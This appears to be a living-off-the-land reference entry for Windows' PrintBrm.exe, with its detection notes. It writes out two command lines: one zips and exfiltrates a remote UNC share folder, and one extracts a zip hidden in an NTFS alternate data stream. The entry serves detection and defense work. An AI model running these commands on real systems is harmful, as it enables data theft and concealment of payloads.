.. /PrintBrm.exe
Star

Download (Compression)

Alternate data streams (Compression)

Printer Migration Command-Line Tool

Paths:

C:\Windows\System32\spool\tools\PrintBrm.exe

Resources:

https://twitter.com/elliotkillick/status/1404117015447670800

Acknowledgements:

Elliot Killick (@elliotkillick)

Detections:

Sigma: proc_creation_win_lolbin_printbrm.yml
IOC: PrintBrm.exe should not be run on a normal workstation

Download

Create a ZIP file from a folder in a remote drive
```
PrintBrm -b -d \\servername\C$\Windows\Temp\folder -f C:\Windows\Temp\file.zip
```
Use case
Exfiltrate the contents of a remote folder on a UNC share into a zip file

Privileges required
User

Operating systems
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1105: Ingress Tool Transfer
Tags
Type: Compression

Alternate data streams

Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder
```
PrintBrm -r -f C:\Windows\Temp\file.ext:hidden.zip -d C:\Windows\Temp\folder
```
Use case
Decompress and extract a ZIP file stored on an alternate data stream to a new folder

Privileges required
User

Operating systems
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1564.004: NTFS File Attributes
Tags
Type: Compression